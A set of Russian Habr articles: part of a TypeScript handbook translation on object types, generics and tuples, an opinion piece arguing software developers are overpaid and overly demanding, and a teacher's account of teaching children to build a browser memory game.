home.resident.age++
}
function evict(home: Home) {
// Но мы не можем изменять значение свойства 'resident'
home.resident = {
// Cannot assign to 'resident' because it is a read-only property.
name: 'Victor the Evictor',
age: 42,
}
}
```
`readonly` сообщает `TS`, как должны использоваться объекты. При определении совместимости двух типов `TS` не проверяет, являются ли какие-либо свойства доступными только для чтения. Поэтому такие свойства можно изменять с помощью синонимов:
```
interface Person {
name: string
age: number
}
interface ReadonlyPerson {
readonly name: string
readonly age: number
}
let writablePerson: Person = {
name: 'John Smith',
age: 42
}
// работает
let readonlyPerson: ReadonlyPerson = writablePerson
console.log(readonlyPerson.age) // 42
writablePerson.age++
console.log(readonlyPerson.age) // 43
```
### Сигнатуры индекса (index signatures)
Иногда мы не знаем названий всех свойств типа, но знаем форму значений.
В таких случаях мы можем использовать индексы для описания типов возможных значений, например:
```
interface StringArray {
[index: number]: string
}
const myArray: StringArray = getStringArray()
const secondItem = myArray[1]
// const secondItem: string
```
В приведенном примере у нас имеется интерфейс `StringArray`, содержащий сигнатуру индекса. Данная сигнатура указывает на то, что при индексации `StringArray` с помощью `number` возвращается `string`.
Сигнатура индекса типа свойства должна быть строкой или числом.
Несмотря на поддержку обоих типов индексаторов (indexers), тип, возвращаемый из числового индексатора, должен быть подтипом типа, возвращаемого строковым индексатором. Это объясняется тем, что при индексации с помощью `number`, `JS` преобразует его в `string` перед индексацией объекта. Это означает, что индексация с помощью `100` (`number`) эквивалента индексации с помощью `"100"` (`string`), поэтому они должны быть согласованными между собой.
```
interface Animal {
name: string
}
interface Dog extends Animal {
breed: string
}
// Ошибка: индексация с помощью числовой строки может привести к созданию другого типа Animal!
interface NotOkay {
[x: number]: Animal
// Numeric index type 'Animal' is not assignable to string index type 'Dog'.
// Числовой индекс типа 'Animal' не может быть присвоен строковому индексу типа 'Dog'
[x: string]: Dog
}
```
В то время, как сигнатуры строкового индекса являются хорошим способом для описания паттерна "словарь", они предопределяют совпадение всех свойств их возвращаемым типам. Это объясняется тем, что строковый индекс определяет возможность доступа к `obj.property` с помощью `obj['property']`. В следующем примере тип `name` не совпадает с типом строкового индекса, поэтому во время проверки возникает ошибка:
```
interface NumberDictionary {
[index: string]: number
length: number // ok
name: string
// Property 'name' of type 'string' is not assignable to string index type 'number'.
}
```
Тем не менее, свойства с разными типами являются валидными в случае, когда сигнатура индекса — это объединение типов (union):
```
interface NumberOrStringDictionary {
[index: string]: number | string
length: number // ok, `length` - это число
name: string // ok, `name` - это строка
}
```
Сигнатуры индекса можно сделать доступными только для чтения для предотвращения их перезаписи:
```
interface ReadonlyStringArray {
readonly [index: number]: string
}
let myArray: ReadonlyStringArray = getReadOnlyStringArray()
myArray[2] = 'John'
// Index signature in type 'ReadonlyStringArray' only permits reading.
// Сигнатура индекса в типе 'ReadonlyStringArray' допускает только чтение
```
Расширение типов (extending types)
----------------------------------
Что если мы хотим определить тип, который является более конкретной версией другого типа? Например, у нас может быть тип `BasicAddress`, описывающий поля, необходимые для отправки писем и посылок в США:
```
interface BasicAddress {
name?: string
street: string
city: string
country: string
postalCode: string
}
```
В некоторых случаях этого будет достаточно, однако адреса часто имеют литералы. Для таких случаев мы можем определить `AddressWithUnit`:
```
interface AddressWithUnit {
name?: string
unit: string
street: string
city: string
country: string
postalCode: string
}
```
Неужели не существует более простого способа добавления дополнительных полей? На самом деле, мы можем просто расширить `BasicAddress`, добавив к нему новые поля, которые являются уникальными для `AddressWithUnit`:
```
interface BasicAddress {
name?: string
street: string
city: string
country: string
postalCode: string
}
interface AddressWithUnit extends BasicAddress {
unit: string
}
```
Ключевое слово `extends` позволяет копировать членов именованных типов в другие типы. Оно также указывает на связь между типами.
Интерфейсы также могут расширяться с помощью нескольких типов одновременно:
```
interface Colorful {
color: string
}
interface Circle {
radius: number
}
interface ColorfulCircle extends Colorful, Circle {}
const cc: ColorfulCircle = {
color: 'red',
radius: 42
}
```
### Пересечение типов (intersection types)
`interface` позволяет создавать новые типы на основе других посредством их расширения. `TS` также предоставляет другую конструкцию, которая называется *пересечением типов* или *пересекающимися типами* и позволяет комбинировать существующие объектные типы. Пересечение типов определяется с помощью оператора `&`:
```
interface Colorful {
color: string
}
interface Circle {
radius: number
}
type ColorfulCircle = Colorful & Circle
```
Пересечение типов `Colorful` и `Circle` приводит к возникновению типа, включающего все поля `Colorful` и `Circle`:
```
function draw(circle: Colorful & Circle) {
console.log(`Цвет круга: ${circle.color}`)
console.log(`Радиус круга: ${circle.radius}`)
}
// OK
draw({ color: 'blue', radius: 42 })
// опечатка
draw({ color: 'red', raidus: 42 })
/*
Argument of type '{ color: string, raidus: number }' is not assignable to parameter of type 'Colorful & Circle'.
Object literal may only specify known properties, but 'raidus' does not exist in type 'Colorful & Circle'. Did you mean to write 'radius'?
*/
/*
Аргумент типа '{ color: string, raidus: number }' не может быть присвоен параметру с типом 'Colorful & Circle'.
С помощью литерала объекта могут определяться только известные свойства, а свойства с названием 'raidus' не существует в типе 'Colorful & Circle'. Возможно, вы имели ввиду 'radius'
*/
```
### Интерфейс или пересечение типов?
И интерфейсы, и пересечения типов используются для создания новых типов на основе существующих за счет комбинирования последних. Основное отличие между ними заключается в том, как обрабатываются возникающие конфликты.
Общие объектные типы (generic object types)
-------------------------------------------
Предположим, что у нас имеется тип `Box`, который может содержать любое значение:
```
interface Box {
contents: any
}
```
Этот код работает, но тип `any` является небезопасным с точки зрения системы типов. Вместо него мы могли бы использовать `unknown`, но это будет означать необходимость выполнения предварительных проверок и подверженных ошибкам утверждений типов (type assertions).
```
interface Box {
contents: unknown
}
let x: Box {
contents: 'привет, народ'
}
// мы можем проверить `x.contents`
if (typeof x.contents === 'string') {
console.log(x.contents.toLowerCase())
}
// или можем использовать утверждение типа
console.log((x.contents as string).toLowerCase())
```
Более безопасным способом будет определение различных типов `Box` для каждого типа `contents`:
```
interface NumberBox {
contents: number
}
interface StringBox {
contents: string
}
interface BooleanBox {
contents: boolean
}
```
Однако, это обуславливает необходимость создания различных функций или перегрузок функции (function overloads) для работы с такими типами:
```
function setContents(box: StringBox, newContents: string): void
function setContents(box: NumberBox, newContents: number): void
function setContents(box: BooleanBox, newContents: boolean): void
function setContents(box: { contents: any }, newContents: any) {
box.contents = newContents
}
```
Слишком много шаблонного кода. Более того, в будущем нам может потребоваться определить новый тип и перегрузку. Так не пойдет.
Для решения данной проблемы мы можем создать *общий (generic)* тип `Box`, в котором объявляется *параметр типа (type parameter)*:
```
interface Box {
contents: Type
}
```
Затем, при ссылке на `Box`, мы должны определить *аргумент типа (type argument)* вместо `Type`:
```
let box: Box
```
По сути, `Box` — это шаблон для настоящего типа, в котором `Type` будет заменен на конкретный тип. Когда `TS` видит `Box`, он заменяет все вхождения `Type` в `Box` на `string` и заканчивает свою работу чем-то вроде `{ contents: string }`. Другими словами, `Box` работает также, как рассмотренный ранее `StringBox`.
```
interface Box {
contents: Type
}
interface StringBox {
contents: string
}
let boxA: Box = { contents: 'привет' }
boxA.contents
// (property) Box.contents: string
let boxB: StringBox = { contents: 'народ' }
boxB.contents
// (property) StringBox.contents: string
```
Тип `Box` теперь является переиспользуемым (т.е. имеется возможность использовать этот тип несколько раз без необходимости его модификации). Это означает, что когда нам потребуется коробка (`Box` — коробка, контейнер) нового типа, нам не придется определять новый тип `Box`:
```
interface Box {
contents: Type
}
interface Apple {
// ....
}
// Тоже самое, что '{ contents: Apple }'.
type AppleBox = Box
```
Это также означает, что нам не нужны перегрузки функции. Вместо них мы можем использовать общую функцию (generic function):
```
function setContents(box: Box, newContents: Type) {
box.contents = newContents
}
```
Синонимы типов также могут быть общими. Вот как мы можем определить общий тип (generic type) `Box`:
```
type Box = {
contents: Type
}
```
Поскольку синонимы, в отличие от интерфейсов, могут использоваться для описания любых типов, а не только типов объектов, мы можем использовать их следующим образом:
```
type OrNull = Type | null
type OneOrMany = Type | Type[]
type OneOrManyOrNull = OrNull>
// type OneOrManyOrNull = OneOrMany | null
type OneOrManyOrNullStrings = OneOrManyOrNull
// type OneOrManyOrNullStrings = OneOrMany | null
```
### Тип `Array`
Синтаксис `number[]` или `string[]` — это сокращения для `Array` и `Array`, соответственно:
```
function doSomething(value: Array) {
// ...
}
let myArray: string[] = ['hello', 'world']
// оба варианта являются рабочими!
doSomething(myArray)
doSomething(new Array('hello', 'world'))
```
`Array` сам по себе является общим типом:
```
interface Array {
/\*\*
\* Получает или устанавливает длину массива
\*/
length: number
/\*\*
\* Удаляет последний элемент массива и возвращает его
\*/
pop(): Type | undefined
/\*\*
\* Добавляет новые элементы в конец массива и возвращает новую длину массива
\*/
push(...items: Type[]): number
// ...
}
```
Современный `JS` также предоставляет другие *общие* структуры данных, такие как `Map`, `Set` и `Promise`. Указанные структуры могут работать с любым набором типов.
### Тип `ReadonlyArray`
`ReadonlyArray` — это специальный тип, описывающий массив, который не должен изменяться.
```
function doStuff(values: ReadonlyArray) {
// Мы можем читать из `values`...
const copy = values.slice()
console.log(`Первым значением является ${values[0]}`)
// но не можем их изменять
values.push('Привет!')
// Property 'push' does not exist on type 'readonly string[]'.
// Свойства с названием 'push' не существует в типе 'readonly string[]'
}
```
Когда мы создаем функцию, которая возвращает `ReadonlyArray`, это означает, что мы не собираемся изменять такой массив, а когда мы видим функцию, принимающую `ReadonlyArray`, это означает, что мы можем передавать такой функции любой массив и не беспокоиться о том, что он может измениться.
В отличие от `Array`, `ReadonlyArray` не может использоваться как конструктор:
```
new ReadonlyArray('red', 'green', 'blue')
// 'ReadonlyArray' only refers to a type, but is being used as a value here.
// 'ReadonlyArray' всего лишь указывает на тип, поэтому не может использовать в качестве значения
```
Однако, мы можем присваивать массиву, доступному только для чтения, обычные массивы:
```
const roArray: ReadonlyArray = ['red', 'green', 'blue']
```
Для определения массива, доступного только для чтения, также существует сокращенный синтаксис, который выглядит как `readonly Type[]`:
```
function doStuff(values: readonly string[]) {
// Мы можем читать из `values`...
const copy = values.slice()
console.log(`The first value is ${values[0]}`)
// но не можем их изменять
values.push('hello!')
// Property 'push' does not exist on type 'readonly string[]'.
}
```
В отличие от модификатора свойств `readonly`, присваивание между `Array` и `ReadonlyArray` является однонаправленным (т.е. только обычный массив может быть присвоен доступному только для чтения массиву):
```
let x: readonly string[] = []
let y: string[] = []
x = y
y = x
// The type 'readonly string[]' is 'readonly' and cannot be assigned to the mutable type 'string[]'.
// Тип 'readonly string[]' является доступным только для чтения и не может быть присвоен изменяемому типу 'string[]'
```
### Кортеж (tuple)
*Кортеж* — это еще одна разновидность типа `Array` с фиксированным количеством элементов определенных типов.
```
type StrNumPair = [string, number]
```
`StrNumPair` — это кортеж `string` и `number`. `StrNumPair` описывает массив, первый элемент которого (элемент под индексом `0`) имеет тип `string`, а второй (элемент под индексом `1`) — `number`.
```
function doSomething(pair: [string, number]) {
const a = pair[0]
// const a: string
const b = pair[1]
// const b: number
// ...
}
doSomething(['hello', 42])
```
Если мы попытаемся получить элемент по индексу, превосходящему количество элементов, то получим ошибку:
```
function doSomething(pair: [string, number]) {
// ...
const c = pair[2]
// Tuple type '[string, number]' of length '2' has no element at index '2'.
// Кортеж '[string, number]' длиной в 2 элемента не имеет элемента под индексом '2'
}
```
Кортежи можно деструктурировать:
```
function doSomething(stringHash: [string, number]) {
const [inputString, hash] = stringHash
console.log(inputString)
// const inputString: string
console.log(hash)
// const hash: number
}
```
Рассматриваемый кортеж является эквивалентом такой версии типа `Array`:
```
interface StringNumberPair {
// Конкретные свойства
length: 2
0: string
1: number
// Другие поля 'Array'
slice(start?: number, end?: number): Array
}
```
Элементы кортежа могут быть опциональными (`?`). Такие элементы указываются в самом конце и влияют на тип свойства `length`:
```
type Either2dOr3d = [number, number, number?]
function setCoords(coord: Either2dOr3d) {
const [x, y, z] = coord
// const z: number | undefined
console.log(`
Переданы координаты в ${coord.length} направлениях
`)
// (property) length: 2 | 3
}
```
Кортежи также могут содержать оставшиеся элементы (т.е. элементы, оставшиеся не использованными, rest elements), которые должны быть массивом или кортежем:
```
type StringNumberBooleans = [string, number, ...boolean[]]
type StringBooleansNumber = [string, ...boolean[], number]
type BooleansStringNumber = [...boolean[], string, number]
```
`...boolean[]` означает любое количество элементов типа `boolean`.
Такие кортежи не имеют определенной длины (`length`) — они имеют лишь набор известных элементов на конкретных позициях:
```
const a: StringNumberBooleans = ['hello', 1]
const b: StringNumberBooleans = ['beautiful', 2, true]
const c: StringNumberBooleans = ['world', 3, true, false, true, false, true]
```
Кортежи сами могут использоваться в качестве оставшихся параметров и аргументов. Например, такой код:
```
function readButtonInput(...args: [string, number, ...boolean[]]) {
const [name, version, ...input] = args
// ...
}
```
является эквивалентом следующего:
```
function readButtonInput(name: string, version: number, ...input: boolean[]) {
// ...
}
```
#### Кортежи, доступные только для чтения (readonly tuple types)
Кортежи, доступные только для чтения, также определяются с помощью модификатора `readonly`:
```
function doSomething(pair: readonly [string, number]) {
// ...
}
```
Попытка перезаписи элемента такого кортежа приведет к ошибке:
```
function doSomething(pair: readonly [string, number]) {
pair[0] = 'Привет!'
// Cannot assign to '0' because it is a read-only property.
}
```
Кортежи предназначены для определения типов иммутабельных массивов, так что хорошей практикой считается делать их доступными только для чтения. Следует отметить, что предполагаемым типом массива с утверждением `const` является `readonly` кортеж:
```
let point = [3, 4] as const
function distanceFromOrigin([x, y]: [number, number]) {
return Math.sqrt(x ** 2 + y ** 2)
}
distanceFromOrigin(point)
/*
Argument of type 'readonly [3, 4]' is not assignable to parameter of type '[number, number]'.
The type 'readonly [3, 4]' is 'readonly' and cannot be assigned to the mutable type '[number, number]'.
*/
```
В приведенном примере `distanceFromOrigin` не изменяет элементы переданного массива, но ожидает получения изменяемого кортежа. Поскольку предполагаемым типом `point` является `readonly [3, 4]`, он несовместим с `[number, number]`, поскольку такой тип не может гарантировать иммутабельности элементов `point`.
---
Облачные серверы от [Маклауд](https://macloud.ru/?partner=4189mjxpzx) быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
[](https://macloud.ru/?partner=4189mjxpzx&utm_source=habr&utm_medium=perevod&utm_campaign=igor) | https://habr.com/ru/post/562054/ | null | ru | null |
# Разработчики — никакая не элита, а голые короли индустрии
### ЛОЛШТО?
Пожалуйста, не поймите меня неправильно. Я профессиональный разработчик с 30-летним стажем. Я могу читать и понимать почти двадцать языков, полных по Тюрингу. Я могу писать ясный и выразительный код на доброй дюжине из них. В языках, которые я действительно люблю и использую ежедневно — мое имя можно увидеть на доске почета *StackOverflow* (топ-20 в мире: [`ruby`](https://stackoverflow.com/tags/ruby/topusers), [`elixir`](https://stackoverflow.com/tags/elixir/topusers)). Я по-настоящему люблю писать код, и я отклоняю все предложения «вырасти» по должностной лестнице, будь то руководство проектами, *CTO*, или что угодно в этом направлении, несмотря на потенциальное увеличение дохода в разы.
— Abraham Willemsens (Metropolitan Museum of Art)
Но я как никогда убежден, что отрасль страдает от самого страшного заболевания за всю свою историю. Для этого есть много причин, и я собираюсь высказать свое очень предвзятое и скромное мнение по этому поводу.
### Разработчикам непомерно переплачивают
Да, я сказал именно то, что собирался. Непомерно. Переплачивают. Во всем мире.
Я не говорю, разумеется, о *настоящих* разработчиках, которые рассчитывают траектории движения ракеты в *NASA*, или пишут программное обеспечение для аппаратов стимуляции сердечного ритма. Я понимаю, почему вот тот нечесаный истатуированный чувак, отвечающий за то, получим ли мы снимки с Марса в следующем году или через десять лет после следующей экспедиции, — не должен думать, как оплатить аренду квартиры. Я убежден, что программное обеспечение для имплантации сердечной мышцы должно быть щедро оплачено.
Но такой, знаете, *обычный* разработчик, пишущий куски банковского программного обеспечения, и получающий за это по меньшей мере вдвое больше водителя автобуса, — это нонсенс. Интеллект, необходимый для кодирования *CRUD* в любом веб-фреймворке, — заметно ниже среднего. Я почти уверен, что моя умная стиральная машинка оснащена какой-нибудь дополнительной функцией, про которую я просто не знаю, потому что никогда не читаю инструкции, и которая способна повторить вон тот пулл реквест на плюс две тысячи строк за два часа сорок минут. И еще мелодично пиликнуть по окончании процесса. Особенно с учетом того, что в процессе стирки она теперь имеет доступ к интернетам, а, следовательно, к *StackOverflow* и форумам.
Дело в том, что неоправданно высокая зарплата имеет свои недостатки. Случайные люди, которые не очень-то и любят программировать, приходят в профессию за длинным рублем. И это ужасно. Можете ли вы представить себе хирурга, который боится крови, но прошел семь кругов ординатуры, чтобы резать тела скальпелем просто потому, что тут больше платят? Кто захочет записаться к нему на операцию? Высокооплачиваемые формоклёпы? — Я сомневаюсь.
Можете ли вы представить себе адвоката, который читает пособие «Уголовный кодекс РФ за 21 день» — украдкой перед присяжными? Вы лично хотите, чтобы такой адвокат защищал вас в суде? — Я сомневаюсь.
И даже если предположить, что такие охотники за баблом существуют и в тех, ортогональных нашему, мирах — просто чтобы иметь возможность практиковать в качестве хирурга или юриста, требуется более пяти лет изнурительного обучения. А чтобы стать хорошо оплачиваемым программистом, требуется три недели в буткемпе и немного удачи с первой работой. За три месяца можно претендовать на средний уровень и некоторый опыт. Это убивает индустрию.
### Разработчики непомерно требовательны
Давайте поговорим о водителях автобусов. У них рваный график, неудобный стул, крутящееся колесо вместо стола, и они должны быть предельно внимательны всю рабочую смену. В противном случае может произойти трагедия. Когда разработчик *устает*, или *теряет концентрацию* — случайная заметка на реддите или хабре переполняется бесконечными не слишком остроумными комментариями, — вот что происходит.
И несмотря на это разработчики невообразимо завышают требования. Рабочий стол-трансформер, макбук для разъездов, дюжина вертикальных мониторов, гамак в ванной и мятный чай в туалете. — «Только так мы сможем быть продуктивными.»
Джон Кармак твитнул некоторое время назад:
> Я недавно проверил факты в статье, в которой говорилось, что я работаю «18 часов в день», что было просто неправдой — я никогда не был эффективен, работая больше тринадцати часов, поэтому я никогда и не работал 100 часов в неделю. С другой стороны, мне нравится работать 60 часов в неделю.
>
> — <https://t.co/MMMr9VbeZ6>, Джон Кармак (@ID\_AA\_Carmack) Октябрь 15, 2018
Я очень уважаю Джона, и он действительно тот парень, который в прямом смысле занимается *rocket science* всю свою жизнь. Ему нравится его работа. И он по-прежнему не может работать дольше 13 часов. И знаете что? Кассиры в супермаркете могут. И работают. Без гамаков и вертикальных мониторов. За десятикратно меньший доход. Разве это справедливо? — Я сомневаюсь.
Вот эти ребята делают настоящую работу, они имеют полное право претендовать на усталость, истощение и выгорание.
Когда я слышу о *профессиональном выгорании* от людей, которые в прямом смысле возили туда-сюда пиксели по экрану в течение восьми часов, я не испытываю ничего, кроме жгучего стыда и несдерживаемого желания неполиткорректно заржать.
### Разработчики крайне обидчивы
Может быть, вы слышали про какое-нибудь другое ремесло, где рабочие проводят половину своего рабочего времени, вяло дискутируя, как они могли бы *еще более улучшить* свой комфорт от взаимодействия с окружающей средой и понизить токсичность всего вокруг, включая кислород, которым они дышат? Что-то вроде барменов-юнионистов, обсуждающих, следует ли теперь называть «Кровавую Мэри» — «андроидом оттенка, близкого к красному», и отрицать возможность его подачи под прежним женоненавистническим названием? 80% статей в технических журналах, которые вообще-то были раньше предназначены для освещения технологических новинок, посвящены теперь «самым полезным в разработке навыкам, так называемым софтскиллам». Которые, несомненно, помогут всем тратить еще больше времени на обсуждение этих захватывающих околокомпьютерных *топиков* вместо того, чтобы, блин, пойти и поработать.
Спросите сотню современных разработчиков «какой самый важный навык в CS», и девяносто из них придумают своего рода «эмпатию». А как насчет своевременного получения надежных решений, а? Может быть, пора разобраться, чего на самом деле мы хотим — чтобы тормоза вашего автомобиля были починены мрачным механиком с руками, испачканными машинным маслом, или приветливым невеждой в белом халате? И да, надо выбрать что-то одно, эти Тамары крайне редко ходят парой.
Давайте признаем: довольно часто блестящим профессионалам не хватает некоторых социальных навыков. Им может не хватать жизнерадостности, да что там греха таить, даже добродушия и простой приветливости. Они не перестают от этого быть большими профессионалами. И — внезапно — это именно то, за что им платят. Тенденция сегодняшнего дня — унижать и высмеивать негодяев всеми возможными способами. Провозглашенная *Святая Терпимость* на них не распространяется. Потому что хрен с ними, вот почему, с этими угрюмыми диплодоками. Они портят нам нашу веселую картину мира.
Всем нравится, когда их гладят по голове и говорят: «все хорошо, все в порядке, не волнуйся». Но мы-то знаем, что мы уже не в детском саду. Мы совершаем ошибки и платим за них. Везде. Кроме ИТ-индустрии. И это ужасно страшно.
### Разработчики больше не элита
Еще в 1970 году были отличные разработчики, которые построили фундамент для всего, что мы используем сейчас. Они были невероятно талантливы и чрезвычайно скромны. И то и другое одинаково важно. Они выполняли свою работу как самые ранние исследователи, в пустыне знаний и под ураганами ошибок, простите уж мне мой высокопарный слог. Я никогда не слышал, чтобы отсутствие вертикального монитора или стоящего стола — мешали им делать все возможное, да и невозможное тоже.
Всему, что у нас есть, мы обязаны им. Они были элитой. Мы — нет.
Это в общем-то означает, что мы, вероятно, должны перестать просить бонусы к нашим уже и так непомерно раздутым зарплатам, перестать ныть и перестать требовать лучшей жизни. У нас уже есть одна.
Давайте, пожалуйста, наконец-то сконцентрируемся на нашей чертовой работе. Давайте делать ее так, чтобы нам самим не было бы наутро стыдно. Это очень важно. И надеюсь, этот путь, может быть, снова приведет нас туда, где нам будет, чем гордиться. | https://habr.com/ru/post/483592/ | null | ru | null |
# Обучение программированию 2019, или в поисках идеальной программы: Последовательность
Здравствуйте, меня зовут Михаил Капелько. Занимаюсь профессиональной разработкой ПО. Увлекаюсь разработкой игр и обучением программированию.
**Предисловие**
Осенью 2019-го я в третий раз участвовал в курсе обучения ребят 10-15 лет программированию в качестве одного из преподавателей. Наши курсы проходили с середины сентября по середину декабря. Каждое занятие было в субботу с 10:00 до 12:00. Подробнее о структуре каждого урока и деталях создаваемой на курсе игры можно узнать из [статьи за 2018-й год](https://habr.com/ru/post/438278/).
Лично для себя я выделил две основные цели, к которым иду с помощью курсов:
* создать удобный инструмент для создания простейших игр, понятный заинтересованным людям в возрасте от 10 лет;
* создать программу обучения программированию, позволяющая заинтересованным людям в возрасте от 10 лет самостоятельно делать простейшие игры.
**Игра**
Простейшей игрой уже второй раз является игра на память, суть которой в поиске совпадающих элементов на игровом поле. Детально механика игры разобрана в [статье за 2018-й год](https://habr.com/ru/post/438278/). Поиграть в созданную на курсе игру вы можете прямо из браузера [по этой ссылке](http://kornerr.ru/ekids2019).
**Инструмент**
Основным критерием при создании инструмента для меня являлась **неприхотливость**, выражающаяся в следующем:
1. работает на любой операционной системе
* разработка на Linux, macOS, Windows
* воспроизведение результата на ПК, планшете и мобилках
2. не нужно ничего настраивать: открыл ссылку в браузере и начал работу
3. фактически не нужен интернет: можно работать локально, т.к. нет какого-либо сервера на стороне
4. результат доступен всем
* если положить на GitHub Pages, то достаточно дать ссылку
* если кинуть файл по Skype, то его можно открыть локально
Инструмент представляет из себя интегрированную среду разработки (ИСР), технически являющуюся одним файлом HTML. В этом единственном файле находится как ИСР, так и создаваемый результат (в данном случае игра на память). Инструмент в целом выглядит довольно стандартно:
1. слева находится панель кода выбранного модуля;
2. посередине — панель с кнопками перезапуска, сохранения результата и управления модулями;
3. в правом верхнем углу — результат;
4. в правом нижнем углу — список всех модулей: как относящихся к ИСР, так и созданных для игры.
Ввиду того, что у нас лишь один файл, нам нужно уметь запускать его в двух режимах:
1. воспроизведение
* является режимом по умолчанию
* достаточно просто открыть файл HTML
2. редактирование
* доступно при добавлении символов `?0` в адресной строке
Временное хранение изменений осуществляется с помощью хранилища браузера (IndexedDB). Для сохранения изменений на постоянной основе, например, для публикации, необходимо скачать этот же самый файл с изменениями, нажав на соответствующую кнопку в средней панели.
**Первые занятия**
Для первого занятия я подготовил [80 строк кода на JavaScript](http://kornerr.ru/ekids19?%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0), распечатал их и раздал каждому. Каждый ученик должен был набрать распечатанный код в инструменте. Набором кода я преследовал две цели:
1. узнать скорость набора текста учениками;
2. показать API инструмента.
Скорость набора оказалась чрезвычайно низкой: от примерно 14 символов в минуту (ученик успел набрать лишь половину) до примерно 39 символов в минуту. Сам я этот код набирал со скоростью 213 символов в минуту, поэтому от результатов учеников опешил: у меня появилось подозрение, что написать необходимые 300 строк игры за 1 час мы к концу курса не осилим физически.
На втором занятии мы в набранном ранее коде искали опечатки. Я встретил такие опечатки, которые ни у себя, ни у других коллег в жизни не находил. Тут я опешил второй раз: ученикам было чрезвычайно сложно найти опечатки, даже имея перед глазами распечатанный код. Страшно представить, что случилось бы с их психикой, если бы мы проходили [жесточайший тест по дизайну интерфейсов](https://cantunsee.space/) с вопросами вроде такого:
С третьего по шестое занятия я уменьшал код вплоть до 10 строк, выдавал инструмент уже с частично набранным кодом, в котором нужно было найти и исправить ошибки. Ничего не помогало: ученики просто не воспринимали написанное, как-будто вместо чего-то членораздельного на экране видели иероглифы.
**Успешное седьмое занятие**
Прошло уже больше половины курса, а я не продвинулся ни на йоту. В очередной попытке найти хоть какой-то способ объяснить код игры я ещё раз переписал игру. На этот раз с модулем под интригующим названием `последовательность`.
К моему удивлению, на занятии был оглушительный успех: мы успели до "звонка", и ребята буквально горели энтузиазмом. Горели настолько, что устроили под конец занятия мозговой штурм о том, чего бы ещё добавить в появившуюся в ходе занятия игру:
Итак, давайте разберём это занятие подробнее.
**Доска**
Предыдущие занятия у нас строились в формате "преподаватели подходят к каждому ученику и помогают ему индивидуально". За шесть занятий мы — два преподавателя — осознали, что подход к каждому и погружение в частные опечатки/ошибки занимает времени больше, чем объяснение нового материала.
С седьмого занятия мы решили завязать всех учеников на доску, т.е. доска становилась центральным местом, где все мы творили, куда выходили и где писали. Компьютеры же превращались в место, куда ученики копируют содержимое доски. Практика показала, что доски в школах существуют не зря:
* все в школе привыкли получать информацию с доски, поэтому знали, куда смотреть;
* преподаватель работает с тем, что на доске, поэтому может объяснять сразу всем про одно, без углубления в индивидуальные ошибки;
* исправление индивидуальных ошибок происходит быстрее, т.к. большинство из них связаны с невнимательностью, т.е. опечатками при копировании с доски.
Важно отметить, что на доске преподаватели работают совместно с учениками: преподаватель задаёт направление, но ученики сами выходят и пишут на ней ответы на вопросы, заданные преподавателем. Плюсы такого подхода следующие:
* ученик сам пишет, т.е. принимает решение и реализует его сам, учитель не записывает с его слов;
* ученик выходит к доске, т.е. двигается, что и полезно, и уменьшает количество необузданной энергии;
* ученику приходится запоминать код, чтобы записать его на доске;
* по тому, насколько легко и организованно ученик запомнил и записал код на доске, можно судить о его внимательности.
**Последовательность**
Модуль `последовательность` для игры на память выглядит следующим образом:
Последовательность позволяет записать алгоритм в виде событий и реакций:
* события (`начало`, `выбор` и т.д.) расположены без отступа слева;
* реакции (`настроить ThreeJS`, `показать заставку`) расположены под соответствующими событиями с отступом.
Таким образом, при запуске игры (событие `начало`) мы настраиваем ThreeJS (реакция `настроить ThreeJS`), показываем заставку (реакция `показать заставку`) и т.д.
Занятие мы начинали с практически пустым модулем `последовательность`, присутствовали заранее лишь события без реакций:
Эти же события я выписал на доске, оставив свободное место для записи реакций (замазано уже в GIMP для удобства иллюстрации):
Реакции мы искали в модуле `память.реакции`:
Каждая реакция модуля `последовательность` представлена в модуле `память.реакции` [функцией-конструктором](https://learn.javascript.ru/constructor-new). Например, реакции `проверить окончание` однозначно соответствует функция `ПроверитьОкончание`:
```
function ПроверитьОкончание(мир) // 1.
{
мир.состояние["скрыто сфер"] = 0; // 2.
this.исполнить = function() // 3.
{
мир.состояние["скрыто сфер"] += 2; // 4.
var скрыто = мир.состояние["скрыто сфер"]; // 5.
var сфер = мир.состояние["сферы"].length; // 6.
if (сфер == скрыто) // 7.
{
мир.события["конец"].уведомить(); // 8.
}
};
}
```
Рассмотрим эту функцию подробнее:
1. Функция принимает на вход `мир` (словарь), используемый для общения функций друг с другом. `мир` состоит из трёх областей (ключей словаря):
* `состояние` содержит переменные значения для обмена данными;
* `настройки` содержат константные значения для настройки функций;
* `события` содержат [издателей](https://ru.wikipedia.org/wiki/%D0%98%D0%B7%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C-%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%87%D0%B8%D0%BA_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) для организации возможности подписать функции на события.
2. Экземпляр функции-конструктора создаётся оператором `new` при разборе модуля `последовательность`. Фактически всё, что не входит в метод `исполнить`, является телом конструктора. В частности, здесь мы создаём переменную `скрыто сфер` для учёта количества скрытых сфер.
3. Метод `исполнить` вызывается на каждое уведомление о событии.
4. Т.к. реакцию `проверить окончание` вызывают на событие сокрытия пары сфер, то счётчик `скрыто сфер` увеличиваем на `2`.
5. Просто задаём короткий псевдоним для счётчика `скрыто сфер`.
6. Получаем общее количество сфер на игровом поле.
7. Сравниваем количество скрытых сфер с общим их количеством.
8. Если они равны, т.е. все сферы скрыты, уведомляем о завершении игры с помощью события `конец`.
Поиск функций в модуле `память.реакции` ученики осуществляли по очереди:
* ученик ищет функцию в модуле (для упрощения я разделил функции символами `// // // //`);
* при нахождении озвучивает название функции и выходит к доске;
* на доске пишет название функции в общий список найденных функций (допускается пользоваться любыми средствами для запоминания названия, кроме подсказки преподавателя).
Это упражнение тоже позволяет проследить, кто внимательно следит за поиском и записью функции, а кто не может, когда подходит его очередь, найти свою функцию.
После выписывания названий всех функций на доску мы сопоставляли события с реакциями (функциями) схожим образом:
* преподаватель спрашивает, например, какие из функций подходят для события `начало`
* в случае верного ответа предлагает ученику
+ выйти к доске
+ написать реакцию под событием
+ вычёркнуть соответствующую функцию из списка найденных функций
После получения более-менее рабочего набора реакций для одного события можно предложить ученикам перенести реакции с доски в компьютеры. Таким образом мы заполняем реакции как на доске:
так и в инструменте:
**Следующие занятия**
